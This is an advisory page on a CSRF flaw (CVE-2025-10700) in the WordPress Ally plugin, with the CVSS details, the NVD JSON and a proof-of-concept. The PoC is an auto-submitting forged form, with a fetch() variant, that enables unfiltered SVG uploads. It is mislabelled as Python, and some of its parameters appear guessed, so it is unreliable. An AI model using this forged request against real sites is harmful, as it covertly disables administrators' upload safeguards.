Security Vulnerability Report
中文
CVE-2025-10700 CVSS 4.3 MEDIUM

CVE-2025-10700

Published: 2025-10-16 03:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Ally – Web Accessibility & Usability plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.0. This is due to missing or incorrect nonce validation on the enable_unfiltered_files_upload function. This makes it possible for unauthenticated attackers to enable unfiltered file upload and add svg files to the upload list via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Ally插件 <= 3.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10700 PoC - CSRF to enable unfiltered file upload in WordPress Ally plugin This PoC demonstrates how an attacker can trick an authenticated admin into enabling unfiltered file uploads via a forged request. --> <html> <head> <title>CVE-2025-10700 - Ally Plugin CSRF PoC</title> </head> <body onload="document.forms[0].submit();"> <h1>Loading...</h1> <form action="http://target-wordpress-site.com/wp-admin/admin-ajax.php" method="POST"> <!-- WordPress AJAX action targeting the vulnerable function --> <input type="hidden" name="action" value="enable_unfiltered_files_upload" /> <!-- Parameter to enable unfiltered uploads --> <input type="hidden" name="enable" value="true" /> <!-- Parameter to add SVG to allowed upload list --> <input type="hidden" name="file_type" value="svg" /> <!-- Additional parameters that may be required by the plugin --> <input type="hidden" name="_wpnonce" value="" /> <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=ally-settings" /> </form> <script> // Alternative JavaScript-based CSRF trigger using fetch API /* fetch('http://target-wordpress-site.com/wp-admin/admin-ajax.php', { method: 'POST', credentials: 'include', // Include cookies for authentication headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams({ 'action': 'enable_unfiltered_files_upload', 'enable': 'true', 'file_type': 'svg' }) }); */ </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10700", "sourceIdentifier": "[email protected]", "published": "2025-10-16T03:15:35.420", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ally – Web Accessibility & Usability plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.0. This is due to missing or incorrect nonce validation on the enable_unfiltered_files_upload function. This makes it possible for unauthenticated attackers to enable unfiltered file upload and add svg files to the upload list via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3378763/", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-10700", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f9190d35-c9e7-4190-8e66-f6066fe66af8?source=cve", "source": "[email protected]"}]}}